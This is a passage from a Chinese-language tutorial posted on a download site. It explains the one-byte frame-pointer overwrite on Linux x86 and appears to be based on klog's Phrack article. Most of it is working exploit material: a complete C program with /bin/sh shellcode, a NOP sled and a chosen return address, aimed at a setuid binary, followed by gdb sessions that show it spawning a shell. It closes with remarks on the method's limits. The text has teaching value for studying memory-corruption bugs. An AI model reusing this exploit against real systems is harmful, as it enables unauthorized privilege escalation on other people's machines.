⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 单字节缓冲区溢出.txt

📁 可以对黑客编程有一定的了解
💻 TXT
📖 第 1 页 / 共 2 页
字号:
    0x804817f :    ret
    End of assembler dump.
    (gdb) break *0x804813d
    Breakpoint 1 at 0x804813d
    (gdb) c
    Continuing.

    Breakpoint 1, 0x804813d in func ()
    (gdb) info register esp
    esp            0xbffffc60       0xbffffc60
    (gdb)

从上面的分析,我们可以知道我们要覆盖的buffer是从0xbffffc60+0x04=0xbffffc64
开始的,指向我们的shellcode的跳转地址应该被放置到0xbffffc64+0x100(buffer大
小)-0x04(跳转地址大小)=0xbffffd60处。

有了这些值我们就可以写个真正的攻击程序了。我们用0x60-0x04=0x5c来覆盖%ebp的
最后一个字节。这里要减去4个字节是因为当从main()中返回时,%esp会增加4个字节(
因为弹出了保存的%ebp)。
跳转地址的值并不需要是shellcode的起始地址,只要是NOP指令之间的某个地址即可。
(就象通常的溢出程序一样)即:0xbffffc64---(0xbffffd64-shellcode大小)。
我们这里选用0xbffffc74.

    ipdev:~/tests$ cat > exp.c
    #include 
    #include 

    char sc_linux[] =
            "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
            "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
            "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
            "\xd7\xff\xff\xff/bin/sh";

    main()
    {
            int i, j;
            char buffer[1024];

            bzero(&buffer, 1024);
            for (i=0;i<=(252-sizeof(sc_linux));i++)
            {
                    buffer[i] = 0x90;
            }
            for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
            {
                    buffer[i] = sc_linux[j];
            }
            buffer[i++] = 0x74; //
               buffer[i++] = 0xfc; //  跳转地址
            buffer[i++] = 0xff; //
            buffer[i++] = 0xbf; // 
            buffer[i++] = 0x5c; // 用来覆盖%ebp的字节 

            execl("./suid", "suid", buffer, NULL);

    }
    ^D
    ipdev:~/tests$ gcc exp.c -o exp
    ipdev:~/tests$ ./exp
    bash$

成功了!现在让我们仔细的看一下到底发生了些什么。


    ipdev:~/tests$ gdb --exec=exp --symbols=suid
    ...
    (gdb) run
    Starting program: /home/klog/tests/exp

    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x8048090 in ___crt_dummy__ ()
    (gdb)

我们先来设置几个断点来观察被覆盖的栈帧指针的值。

    (gdb) disassemble func
    Dump of assembler code for function func:
    0x8048134 :       pushl  %ebp
    0x8048135 :     movl   %esp,%ebp
    0x8048137 :     subl   $0x104,%esp
    0x804813d :     nop
    0x804813e :    movl   $0x0,0xfffffefc(%ebp)
    0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
    0x8048152 :    jle    0x8048158 
    0x8048154 :    jmp    0x804817c 
    0x8048156 :    leal   (%esi),%esi    
    0x8048158 :    leal   0xffffff00(%ebp),%edx
    0x804815e :    movl   %edx,%eax
    0x8048160 :    addl   0xfffffefc(%ebp),%eax
    0x8048166 :    movl   0x8(%ebp),%edx
    0x8048169 :    addl   0xfffffefc(%ebp),%edx
    0x804816f :    movb   (%edx),%cl
    0x8048171 :    movb   %cl,(%eax)
    0x8048173 :    incl   0xfffffefc(%ebp)
    0x8048179 :    jmp    0x8048148 
    0x804817b :    nop
    0x804817c :    movl   %ebp,%esp
    0x804817e :    popl   %ebp
    0x804817f :    ret
    End of assembler dump.
    (gdb) break *0x804817e
    Breakpoint 1 at 0x804817e
    (gdb) break *0x804817f
    Breakpoint 2 at 0x804817f
    (gdb)

上面的断点用来监视在从堆栈滩出前和弹出后%ebp的变化。

    (gdb) disassemble main
    Dump of assembler code for function main:
    0x8048180 :  pushl  %ebp
    0x8048181 :     movl   %esp,%ebp
    0x8048183 :     cmpl   $0x1,0x8(%ebp)
    0x8048187 :     jg     0x80481a0 
    0x8048189 :     pushl  $0x8058ad8
    0x804818e :    call   0x80481b8 <_IO_printf>
    0x8048193 :    addl   $0x4,%esp
    0x8048196 :    pushl  $0xffffffff
    0x8048198 :    call   0x804d598 
    0x804819d :    addl   $0x4,%esp
    0x80481a0 :    movl   0xc(%ebp),%eax
    0x80481a3 :    addl   $0x4,%eax
    0x80481a6 :    movl   (%eax),%edx
    0x80481a8 :    pushl  %edx
    0x80481a9 :    call   0x8048134 
    0x80481ae :    addl   $0x4,%esp
    0x80481b1 :    movl   %ebp,%esp
    0x80481b3 :    popl   %ebp
    0x80481b4 :    ret
    0x80481b5 :    nop
    0x80481b6 :    nop
    0x80481b7 :    nop
    End of assembler dump.
    (gdb) break *0x80481b3
    Breakpoint 3 at 0x80481b3
    (gdb) break *0x80481b4
    Breakpoint 4 at 0x80481b4
    (gdb)

上面的断点用来监视%esp在(movl %ebp,%esp)时和从main()中返回时内容的变化。
现在让我们来运行程序:

    (gdb) c
    Continuing.

    Breakpoint 1, 0x804817e in func ()
    (gdb) info reg ebp
    ebp            0xbffffd64       0xbffffd64

这是%ebp的原来的内容
    
    (gdb) c
    Continuing.

    Breakpoint 2, 0x804817f in func ()
    (gdb) info reg ebp
    ebp            0xbffffd5c       0xbffffd5c

溢出后,我们可以看到%ebp的最后一个字节的内容已经被改变(0x64--->0x5c)
    
    (gdb) c
    Continuing.

    Breakpoint 3, 0x80481b3 in main ()
    (gdb) info reg esp
    esp            0xbffffd5c       0xbffffd5c
    (gdb) c
    Continuing.

此时%esp指向0xbffffd5c

    Breakpoint 4, 0x80481b4 in main ()
    (gdb) info reg esp
    esp            0xbffffd60       0xbffffd60

弹出保存的%ebp后,%esp增加了4个字节,指向我们存放跳转地址的位置
    
    (gdb)

看一下此时堆栈中的情况:

    (gdb) x 0xbffffd60
    0xbffffd60 <__collate_table+3086619092>:        0xbffffc74
    
这里确实存放着我们的跳转地址    

    (gdb) x/10 0xbffffc74
    0xbffffc74 <__collate_table+3086618856>:        0x90909090      
    0x90909090    0x90909090       0x90909090
    0xbffffc84 <__collate_table+3086618872>:        0x90909090      
    0x90909090    0x90909090       0x90909090
    0xbffffc94 <__collate_table+3086618888>:        0x90909090      
    0x90909090
    (gdb)
    
跳转地址指向NOP串的中间。这也就是我们的shellcode开始执行的地方。


    (gdb) c
    Continuing.

    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x40000990 in ?? ()
    (gdb) c
    Continuing.
    bash$ 
    
下面的简图大致描述了%ebp与%esp的变化。
      
      func()中,返回前         main()中              main()中              main()中 

          栈顶(低地址)       addl $0x4,%esp        movl %ebp,%esp        popl %ebp 
          
0xbffffc60|----------|         |----------|          |----------|          |----------| 
       |    i     |         |    i     |          |    i     |          |    i     | 
0xbffffc64|----------|         |----------|          |----------|          |----------| 
       | 0x90     |         | 0x90     |          | 0x90     |          | 0x90     | 
          |----------|         |----------|          |----------|          |----------| 
       | 0x90     |         | 0x90     |          | 0x90     |          | 0x90     | 
       |----------|         |----------|          |----------|          |----------| 
  ----->  | .......  |         | .......  |          | .......  |          | .......  | 
|        |----------|         |----------|          |----------|          |----------| 
|        |shellcode |         |shellcode |          |shellcode |          |shellcode | 
|        | .......  |         | .......  |  %esp--->| .......  |0xbffffd5c|......... | 
0xbffffd60|----------|         |----------|          |----------|   %esp-->|----------| 
|-----   |0xbffffc74|         |0xbffffc74|          |0xbffffc74|          |0xbffffc74| -->%eip
0xbffffd64|----------|         |----------|          |----------|          |----------| 
保存的ebp |0xbffffd5c|         |0xbffffd5c|          |0xbffffd5c|          |0xbffffd5c| 
  %esp--->|----------|         |----------|          |----------|          |----------| 
       |保存的eip |         |保存的eip |          |保存的eip |          |保存的eip | 
       |----------|  %esp-->|----------|          |----------|          |----------| 
                   
       %esp=0xbffffd68      %esp=0xbffffd6c        %esp=0xbffffd5c      %esp=0xbffffd60  
       %ebp=0xbffffd5c      %ebp=0xbffffd5c        %ebp=0xbffffd5c      %ebp=0xxxxxxxxx 
                   
结束语:            
                   
这种方法看起来很不错,它也存在一些问题。只覆盖一个字节来进行攻击当然理论上
是可行的,但也需要一些条件。首先,它需要知道buffer的地址,这要求我们要能构
造相同的攻击环境以便得到这些值,这通常是比较困难的,特别是在远程机器上。由
于只能溢出一个字节,我们的buffer必须紧挨着栈帧指针,也就是说,要溢出的buffer
必须是函数中第一个被宣称的变量。对于大endian结构的系统,%ebp在内存中的顺序是
高字节在前低字节在后,所以将会覆盖掉ebp的高字节,我们不得不保证我们的程序可以
跳到那个地址去执行...
                   
尽管如此,这种方法仍然可以给我们很多启发。也提醒程序员即便是一个字节的疏忽
也可能导致严重的安全问题.:-)


参考文献:
[1] <>55-08 [  The Frame Pointer Overwrite  ] by klog 
[2] <>49    [  Smashing The Stack For Fun And Profit ] by Aleph1


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -